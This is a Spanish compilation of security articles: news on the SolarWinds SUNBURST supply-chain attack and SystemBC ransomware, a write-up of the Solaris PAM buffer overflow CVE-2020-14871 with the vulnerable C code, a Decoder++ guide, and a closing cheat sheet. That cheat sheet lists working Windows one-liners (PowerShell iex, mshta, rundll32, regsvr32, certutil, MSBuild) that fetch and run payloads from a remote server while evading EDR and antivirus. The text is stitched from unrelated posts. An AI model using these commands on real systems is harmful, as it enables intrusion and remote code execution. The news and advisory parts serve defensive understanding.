Las organizaciones pueden incluso decidir nunca caducar contraseñas específicas que cumplan con la longitud de contraseña definida. El uso de las funciones de la política de contraseñas de Specops, incluida la caducidad de la contraseña basada en la longitud, ayuda a garantizar una seguridad de contraseña más sólida en el entorno. Haga clic aquí para obtener más información.
La investigación sobre cómo los atacantes lograron comprometer la red interna de SolarWinds y envenenar las actualizaciones de software de la compañía aún está en curso, pero podemos estar un paso más cerca de comprender lo que parece ser un ataque a la cadena de suministro muy meticulosamente planeado y altamente sofisticado.
Un nuevo informe publicado hoy por ReversingLabs y compartido por adelantado con The Hacker News ha revelado que los operadores detrás de la campaña de espionaje probablemente lograron comprometer la construcción de software y la infraestructura de firma de código de la plataforma SolarWinds Orion ya en octubre de 2019 para entregar la puerta trasera maliciosa a través de su proceso de lanzamiento de software.
"El código fuente de la biblioteca afectada se modificó directamente para incluir código de puerta trasera malicioso, que se compiló, firmó y entregó a través del sistema de administración de liberación de parches de software existente", dijo Tomislav Pericin de ReversingLabs.
La firma de ciberseguridad FireEye a principios de esta semana detalló cómo varias actualizaciones del software SolarWinds Orion, lanzadas entre marzo y junio de 2020, se inyectaron con código de puerta trasera ("SolarWinds.Orion.Core.BusinessLayer.dll" o SUNBURST) para realizar vigilancia y ejecutar comandos arbitrarios en el objetivo. sistemas.
Hasta ahora, FireEye no ha atribuido públicamente el ataque a ningún actor del estado-nación específico, pero múltiples informes de los medios han señalado la campaña de intrusión en APT29 (también conocido como Cozy Bear), un grupo de piratas informáticos asociado con el servicio de inteligencia exterior de Rusia.
Inyección furtiva de código malicioso
Aunque la primera versión que contenía el software Orion contaminado se remonta a 2019.4.5200.9083, ReversingLabs descubrió que una versión anterior 2019.4.5200.8890, lanzada en octubre de 2019, también incluía modificaciones aparentemente inofensivas que actuaron como el trampolín para entregar la carga útil del ataque real. la línea.
La idea, según Pericin, era comprometer el sistema de compilación, inyectar silenciosamente su propio código en el código fuente del software, esperar a que la empresa compilara, firmar paquetes y, por último, verificar si sus modificaciones aparecen en el recién lanzado. actualizaciones como se esperaba.
Una vez confirmado, el adversario tomó medidas para combinar el malware SUNBURST con el resto de la base de código imitando las funciones existentes (GetOrCreateUserID) pero agregando sus propias implementaciones para permanecer sigiloso e invocarlas modificando una clase separada llamada "InventoryManager" para crear un nuevo hilo que corre por la puerta trasera.
Además, las cadenas maliciosas se ocultaron utilizando una combinación de compresión y codificación Base64 con la esperanza de que al hacerlo, las reglas de YARA no detectaran anomalías en el código ni se deslizaran sin ser detectadas durante una revisión del desarrollador de software.
"Los atacantes pasaron por muchos problemas para asegurarse de que su código parece que pertenece a la base del código", dijo Pericin. "Eso ciertamente se hizo para ocultar el código de la auditoría por parte de los desarrolladores de software".
¿Cómo sucedió el compromiso?
Esto implica que los atacantes no solo tenían un alto grado de familiaridad con el software, sino también el hecho de que su sistema de gestión de versiones de software existente estaba comprometido, ya que la clase en cuestión se modificó en el nivel del código fuente para crear un nuevo software. actualización que contiene la biblioteca con puerta trasera, luego firmada y finalmente entregada a los clientes.
Esto también plantea más preguntas de las que responde, ya que un cambio de esta magnitud solo podría haber sido posible si el sistema de control de versiones se vio comprometido o el software troyano se colocó directamente en la máquina de compilación.
Si bien no está claro de inmediato cómo los atacantes obtuvieron acceso al código base, la revelación del investigador de seguridad Vinoth Kumar sobre el acceso al servidor de actualización de SolarWinds con la contraseña "solarwinds123" asume un nuevo significado dada la superposición de las líneas de tiempo.
Kumar, en un tweet el 14 de diciembre, dijo que notificó a la compañía de un repositorio de GitHub de acceso público que estaba filtrando las credenciales FTP del sitio web de descarga de la compañía en texto plano, agregando que un pirata informático podría usar las credenciales para cargar un ejecutable malicioso y agregarlo a una actualización de SolarWinds.
"Ese repositorio de Github estuvo abierto al público desde el 17 de junio de 2018", dijo Kumar, antes de que se solucionara la configuración incorrecta el 22 de noviembre de 2019.
"SUNBURST ilustra la próxima generación de compromisos que prosperan en el acceso, la sofisticación y la paciencia", concluyó Pericin. "Para las empresas que operan negocios valiosos o producen software crítico para sus clientes, inspeccionar el software y monitorear las actualizaciones en busca de señales de manipulación, adiciones maliciosas o no deseadas debe ser parte del proceso de administración de riesgos".
"Escondiéndose a la vista detrás de una marca de software conocida a nivel mundial o de un proceso crítico para el negocio confiable, le da a este método un acceso que una campaña de phishing solo podría soñar con lograr", agregó.
Más de 4000 subdominios comprometidos por SUNBURST
SolarWinds dijo que hasta 18.000 de sus clientes pueden haber sido afectados por el ataque a la cadena de suministro al tiempo que instó a los usuarios de la plataforma Orion a actualizar el software a la versión 2020.2.1 HF 2 lo antes posible para proteger sus entornos.
Según el investigador de seguridad R. Bansal (@ 0xrb), más de 4000 subdominios pertenecientes a empresas e instituciones educativas destacadas se infectaron con la puerta trasera SUNBURST, incluidos los de Intel, NVIDIA, Kent State University y Iowa State University.
Para empeorar las cosas, el código malicioso agregado a una actualización de software de Orion puede haber pasado desapercibido para el software antivirus y otras herramientas de seguridad en sistemas específicos debido al aviso de soporte de SolarWinds , que establece que sus productos pueden no funcionar correctamente a menos que sus directorios de archivos estén exentos de análisis antivirus y restricciones de objeto de política de grupo (GPO).
"Actores prolíficos están constantemente después de clientes de altos ingresos como SolarWinds porque ven una mayor probabilidad de obtener beneficios más grandes mediante la venta de acceso a los socios ransomware y otros compradores," firma de seguridad cibernética Intel 471 , dijo , en respuesta a la posibilidad de que los delincuentes estaban vendiendo el acceso a las redes de la empresa en foros clandestinos.
"Ya sea explotando vulnerabilidades, lanzando campañas de spam o aprovechando el abuso de credenciales, el acceso generalmente se anuncia y se subasta al mejor postor para obtener ganancias. Aún está por verse si esta fue la motivación del incidente actual de SolarWinds".
¿Encontró este artículo interesante? Siga a THN en Facebook , Twittery LinkedIn para leer más contenido exclusivo que publicamos.
Los ciberdelincuentes subcontratan cada vez más la tarea de implementar ransomware a afiliados que utilizan malware básico y herramientas de ataque, según una nueva investigación.
En un nuevo análisis publicado por Sophos hoy y compartido con AlfonzCS, las implementaciones recientes de Ryuk y Egregor ransomware han involucrado el uso de la puerta trasera SystemBC para moverse lateralmente a través de la red y obtener cargas útiles adicionales para una mayor explotación.
Los afiliados suelen ser actores de amenazas responsables de obtener un punto de apoyo inicial en una red objetivo.
"SystemBC es una parte habitual de los conjuntos de herramientas de los atacantes de ransomware recientes", dijo el investigador senior de amenazas de Sophos y ex editor de seguridad nacional de Ars Technica, Sean Gallagher.
"La puerta trasera se puede utilizar en combinación con otros scripts y malware para realizar el descubrimiento, la exfiltración y el movimiento lateral de forma automatizada a través de múltiples objetivos. Estas capacidades de SystemBC originalmente estaban destinadas a la explotación masiva, pero ahora se han incorporado al kit de herramientas para ataques, incluido el ransomware ".
Documentado por primera vez por Proofpoint en agosto de 2019, SystemBC es un malware proxy que aprovecha el protocolo de Internet SOCKS5 para enmascarar el tráfico a los servidores de comando y control (C2) y descargar el troyano bancario DanaBot .
Desde entonces, SystemBC RAT ha ampliado la amplitud de su conjunto de herramientas con nuevas características que le permiten usar una conexión Tor para cifrar y ocultar el destino de las comunicaciones C2, proporcionando así a los atacantes una puerta trasera persistente para lanzar otros ataques.
Los investigadores señalan que SystemBC se ha utilizado en una serie de ataques de ransomware, a menudo junto con otras herramientas posteriores a la explotación como CobaltStrike, para aprovechar su proxy Tor y las funciones de acceso remoto para analizar y ejecutar comandos de shell maliciosos, scripts VBS y otros. DLL enviados por el servidor a través de la conexión anónima.
También parece que SystemBC es solo una de las muchas herramientas básicas que se implementan como consecuencia del compromiso inicial derivado de correos electrónicos de phishing que entregan cargadores de malware como Buer Loader, Zloader y Qbot, lo que lleva a los investigadores a sospechar que los ataques pueden haber sido lanzado por afiliados de los operadores de ransomware, o por las propias bandas de ransomware a través de múltiples proveedores de malware como servicio.
"Estas capacidades dan a los atacantes la capacidad de apuntar y disparar para realizar descubrimiento, exfiltración y movimiento lateral con scripts y ejecutables empaquetados, sin tener que tener las manos en un teclado", dijeron los investigadores.
El aumento del malware de productos básicos también apunta a una nueva tendencia en la que el ransomware se ofrece como un servicio a los afiliados, como es el caso de MountLocker , donde los operadores brindan capacidades de doble extorsión a los afiliados para distribuir el ransomware con el mínimo esfuerzo.
"El uso de múltiples herramientas en los ataques de ransomware como servicio crea un perfil de ataque cada vez más diverso que es más difícil de predecir y manejar para los equipos de seguridad de TI", dijo Gallagher. "La defensa en profundidad, la educación de los empleados y la búsqueda de amenazas basada en humanos son esenciales para detectar y bloquear tales ataques".
Desde hace algún tiempo se viene observando un grupo bautizado por Mandiant como UNC1945 que utiliza una serie de herramientas y técnicas contra sistemas Windows, Linux y muy reseñablemente contra sistemas Solaris. Para los que no habéis tenido la oportunidad de tocar este sistema Unix ex-de Sun Microsystems he de deciros que era cosa fina a lomos de un Sparc dentro de una Enteprise 450 o hasta de una Ultra 5/10... pero esas son historias de un admin-cebolleta de hace más de 15 años...
Para dar un poquito más de contexto decir que el código fuente de Solaris se liberó en 2005 convirtiéndose en OpenSolaris hasta el año 2010 en el que Oracle compró Sun y decidió que dejara de ser "open". La última versión estable, la 11.4, data de 2018 es decir de hace más de 2 años. Aún así mantiene soporte y sigue habiendo todavía muchos servidores Solaris en circulación (incluso versiones obsoletas) y actores como UNC1945 lo consideran interesante de explotar pues pueden suponer un target importante de cara a infiltrarse en muchas redes corporativas.
Curiosamente, en abril de 2020, encontrábamos en el black market por $3000 USD un exploit con la descripción "Oracle Solaris SSHD Remote Root Exploit" llamado EVILSUN y, oh casualidad, a mediados de 2020 se descubrió en un servidor Solaris 9 una herramienta de UNC1945 que contenía un 0-day bautizado con el CVE-2020-14871 que explotaba una vulnerabilidad recientemente parcheada en el módulo PAM (Pluggable Authentication Module).
PAM permite que una aplicación Solaris autentique a los usuarios al tiempo que permite que el administrador del sistema configurar en un único sitio los parámetros de autenticación (por ejemplo, la complejidad y la caducidad de la contraseña). La vulnerabilidad real es un desbordamiento de búfer clásico basado en pila ubicado en la función parse_user_name:
static int
parse_user_name(char *user_input, char **ret_username)
{
register char *ptr;
register int index = 0;
char username[PAM_MAX_RESP_SIZE];
/* ... */
ptr = user_input;
/* ... */
/*
* username will be the first string we get from user_input
* - we skip leading whitespaces and ignore trailing whitespaces
*/
while (*ptr != '\0') {
if ((*ptr == ' ') || (*ptr == '\t'))
break;
else {
username[index] = *ptr;
index++;
ptr++;
}
}
/* ret_username will be freed in pam_get_user(). */
if ((*ret_username = malloc(index + 1)) == NULL)
return (PAM_BUF_ERR);
(void) strcpy(*ret_username, username);
return (PAM_SUCCESS);
}
La vulnerabilidad surge siempre que un nombre de usuario de más tamaño que PAM_MAX_RESP_SIZE (512 bytes) se pasa a parse_user_name. De hecho, es probable que la vulnerabilidad haya existido durante décadas y que haya estado "latente" tanto tiempo porque solo es explotable si una aplicación no limita los nombres de usuario a una longitud menor antes de pasarlos a PAM, como puede ocurrir con un demonio SSH.
La autenticación Keyboard-Interactive es un mecanismo de autenticación de "passthrough" en el que el protocolo SSH transmite mensajes y respuestas entre las librerías PAM del servidor y el cliente. Fue diseñado para admitir formas personalizadas de autenticación, como de doble factor, sin modificar el protocolo SSH. Al manipular la configuración del cliente SSH para forzar la autenticación de Keyboard-Interactive para solicitar el nombre de usuario en lugar de enviarlo por los medios normales, un atacante también puede pasar una entrada ilimitada a la función parse_user_name de PAM.
Exploit PoCCon el fin de probar rápidamente diferentes versiones de Solaris y ver si pueden ser vulnerables, la gente de Mandiant desarrolló un exploit de prueba para provocar el desbordamiento y bloquear el servidor SSH. El cliente estándar de OpenSSH ofrece todas las opciones necesarias para activar la vulnerabilidad:
Para ver si el servidor es vulnerable basta con recibir un "Authentication failed" (si no lo fuera se nos volvería a pedir el usuario). El desbordamiento en la librería PAM también hace que el servidor SSH crashee:
El sistema operativo escribe un dump por el crash en /core si el servidor SSH falla sin un debugger attacheado. De hecho, si existe un archivo /core en una máquina Solaris y vemos que se trata de sshd, esos son indicadores claros de que e ha explotado previamente esta vulnerabilidad.
Sistemas operativos vulnerables
- Solaris 9 (algunas versiones)
- Solaris 10 (todas las versiones)
- Solaris 11.0
- Si bien la función parse_user_name sigue siendo vulnerable en Solaris 11.1 sin parches y posteriores algunos cambios no documentados en la librería PAM truncan el nombre de usuario antes de que la función vulnerable lo reciba, lo que hace que el fallo no sea explotable a través de SSH. Si la función parse_user_name fuera accesible en otro contexto, entonces la vulnerabilidad podría volverse explotable.
- Illumos (OpenIndiana 2020.04)
Mitigaciones y workarounds
Podemos encontrar un parche de Oracle para Solaris 10 y 11 entre las actualizaciones de octubre de 2020.
Debido a que Solaris 9 ya no está soportado Oracle ya no se ha publicado un parche. Para los sistemas Solaris 9, así como Solaris 10 u 11 donde la aplicación de parches es inconveniente, se recomienda editar el archivo /etc/ssh/ shd_config para agregar las líneas ChallengeResponseAuthentication no y KbdInteractiveAuthentication no y reiniciar el servidor SSH. Si bien esto elimina la posibilidad de aprovechar la vulnerabilidad mediante la autenticación Keyboard-Interactive SSH, puede haber otras formas de atacar la función parse_user_name y recomendamos usar esta solución solo como una solución provisional hasta que se puedan actualizar los sistemas Solaris 9 o se pueda actualizar el parche de octubre.
Fuentes:
Decoder++ de bytebutcher es una aplicación para pentesters y desarrolladores bastante chula para decodificar o codificar datos en varios formatos.
Para instalar la herramienta simplemente podemos usar pip u obtener la fuente desde el repo de Github:
pip3 install decoder-plus-plus
o git clone https://github.com/bytebutcher/decoder-plus-plus.git
En modo gráfico tenemos dos opciones:
main-window-mode o
dialog-mode. Mientras que el primer modo admite tabs, con el segundo tenemos la opción de devolver el contenido transformado a stdout para su posterior procesamiento. Esto es muy útil si queremos llamar a Decoder++ desde otras herramientas como BurpSuite (echa un vistazo a la extensión de BurpSuite
Send-to) o cualquier otro script en el que queramos agregar una interfaz gráfica de usuario.
Por otro lado, si no queremos iniciar una interfaz gráfica podemos usar también la herramienta desde la línea de comandos:
(/tools/decoder-plus-plus/dpp$ python3 runner.py)
$ dpp -e base64 -h sha1 "encodeame y hasheame esto por la gracia de Shon"
763c99199ea69043ea7edb4dcb90e53457e57cd7
Para listar codecs disponibles:
$ dpp -l base enc
Codec Type
----- ----
base16 encoder
base32 encoder
base64 encoder
Decoder ++ distingue entre codificadores, decodificadores, hashes y scripts. Al igual que la interfaz gráfica por línea de comandos permite utilizar varios códecs en un único comando:
$ dpp "H4sIAAXmeVsC//NIzcnJ11Eozy/KSVEEAObG5usNAAAA" -d base64 -d gzip
Hello, world!
Si bien los codificadores, decodificadores y hashers se pueden usar de primeras, algunos de los scripts pueden requerir configuración adicional. Para mostrar todas las opciones disponibles de un script específico, se puede usar el parámetro de ayuda:
$ dpp "Hello, world!" -s split_and_rejoin help
Split & Rejoin
==============
Name Value Group Required Description
---- ----- ----- -------- -----------
split_term , yes the parameter used for splitting
split_by_chars True split_behaviour no specifies whether text should be split at chars
split_by_length False split_behaviour no specifies whether text should be split at interval
rejoin_with_chars yes the chars used to join the split text
Para configurar un script específico, se debe proporcionar las opciones individuales como pares nombre-valor (por ejemplo, search_term = "Hello"):
$ dpp "Hello, world!" -s search_and_replace search_term="Hello" replace_term="Hey"
Hey, world!
Características
- Interfaces de usuario:
- Interfaz gráfica del usuario
- Interfaz de línea de comandos
- Scripts y códecs preinstalados:
- Codificar/Decodificar: Base16, Base32, Base64, Binary, Gzip, Hex, Html, JWT, HTTP64, Octal, Url, Url +, Zlib
- Hash: Adler-32, Apache-Md5, CRC32, FreeBSD-NT, Keccak224, Keccak256, Keccak384, Keccak512, LM, Md2, Md4, Md5, NT, PHPass, RipeMd160, Sha1, Sha3 224, Sha3 256, Sha3 384, Sha3 512, Sha224, Sha256, Sha348, Sha512, Sun Md5
- Scripts: CSS-Minify, Caesar, Filter-Lines, Identify File Format, Identify Hash Format, JS-Beautifier, JS-to-XML, HTML-Beautifier, Little/Big-Endian Transform, Reformat Text, Remove Newlines, Remove Whitespaces, Search and Replace, Split and Rejoin, Unescape/Escape String
- Decodificación inteligente
- Sistema de plugins
- Cargar y guardar la sesión actual
- Plataformas: Windows,
Linux
y MAC
Desarrollo de plugins
Para agregar códecs personalizados, simplemente tenemos que copiarlos en la carpeta $HOME/.config/dpp/plugins/.
Proyecto: https://github.com/bytebutcher/decoder-plus-plus
Si hay algo interesante para un pentester (o un atacante malintencionado) es un comando de una sola línea capaz de comprometer una máquina obteniendo una shell inversa...
El francés Arno (arno0x0x) recopila en su
blog una interesante lista de posibilidades que han de cumplir los siguientes requisitos:
- permitir la ejecución de código arbitrario
- permitir descargar un payload de un servidor remoto, porque el malware/RAT/agente probablemente no cabrá en una sola línea de comandos
- tener conocimiento del proxy:
¿qué compañía no usa un proxy web para el tráfico saliente hoy en día?
- hacer uso de los binarios estándar y ampliamente implementados de Microsoft, para que el comando se ejecute en la mayor cantidad de sistemas posible
- ser "amigable" con EDR (Endpoint Detection and Response): el spawning de cmd.exe en Office ya es mala señal, pero ¿qué pasa con powershell.exe o cscript.exe descargando cosas de Internet?
- trabajar solo en memoria, porque el payload final podría quedar "atrapado" por el AV cuando se escriba en el disco
Pero siendo claros, no todas los comandos cumplirán todos los puntos anteriores. Especialmente el de no escribir el payload en el disco, porque la mayoría de las veces el archivo descargado terminará en el caché local.
Cuando se trata de descargar un payload desde un servidor remoto, básicamente tenemos 3 opciones:
- el comando acepta una URL HTTP como uno de sus argumentos
- el comando acepta una ruta UNC (apuntando a un servidor WebDAV)
- el comando puede ejecutar un pequeño script con un link de descarga
Dependiendo de la versión de Windows (7, 10), la caché local para los objetos descargados a través de HTTP será la caché local de IE, en una de las siguientes ubicaciones:
C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>
Por otro lado, los archivos a los que se accede a través de una ruta UNC que apunta a un servidor WebDAV se guardarán en el caché local del cliente WebDAV
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
Nota: cuando se utilice una ruta UNC para apuntar al servidor WebDAV que aloja el payload hay que tener en cuenta que solo funcionará si se inicia el servicio WebClient. En caso de que no se haya iniciado, para iniciarlo, incluso desde un usuario sin privilegios, simplemente hay que poner antes "
pushd \\webdavserver & popd".
A continuación se detallan todos los escenarios posibles, ordenados el proceso que genera el tráfico de red y dónde se escribe el payload:
Proceso:
powershell.exe
Payload escrito en disco: NO (al menos no puede verse con procmon).
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
Proceso:
shta.exe
Payload escrito en disco: caché local de IE
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
mshta http://webserver/payload.hta
Proceso:
rundll32.exe
Payload escrito en disco: caché local de IE
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
Proceso:
regsvr32.exe
Payload escrito en disco: caché local de IE
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
Proceso:
svchost.exe
Payload escrito en disco: caché local del cliente WebDAV
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
cmd.exe /k < \\webdavserver\folder\batchfile.txt (ver Invoke-EmbedInBatch.ps1 en https://github.com/Arno0x/PowerShellScripts)
cscript //E:jscript \\webdavserver\folder\payload.txt
mshta \\webdavserver\folder\payload.hta
rundll32 \\webdavserver\folder\payload.dll,entrypoint
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
Combinando comandos
Evidentemente, los comandos se pueden encadenar para alcanzar un objetivo. Por ejemplo, toda la parte de descarga del payload se puede hacer con certutil.exe (descubierto por @subTee):
certutil -urlcache -split -f http://webserver/payload payload
A continuación, combinando algunos comandos inline, con InstallUtil.exe ejecutando una DLL específica como payload:
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
O simplemente se puede entregar un ejecutable:
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
Probablemente haya muchas otras maneras de lograr el mismo resultado, pero esos comandos hacen el trabajo mientras cumplen la mayoría de los requisitos previos que se establecieron al principio.
Uno puede preguntarse por qué no se mencionó el uso de la utilidad bitsadmin como medio para descargar el payload. La razón es simplemente porque no se puede usar proxy.
Ejemplos de fuentes de payloads
Todas las líneas de comando previamente citadas hacen uso de payloads específicos:
- Varios scriplets (.sct), para mshta, rundll32 o regsvr32
- Aplicación HTML (.hta)
- Tareas inline de MSBuild (.xml o .csproj)
- DLL para InstallUtil o Regasm/Regsvc
Puedes obtener ejemplos de la mayoría de los payloads dentro del impresionante repositorio atomic-red-team en Github:
https://github.com/redcanaryco/atomic-red-team de @redcanaryco.
También puedes obtener todas estos payloads generados automáticamente gracias al proyecto GreatSCT en Github:
https://github.com/GreatSCT/GreatSCT
Por último, puedes encontrar algunos otros ejemplos en gist del propio Arno:
https://gist.github.com/Arno0x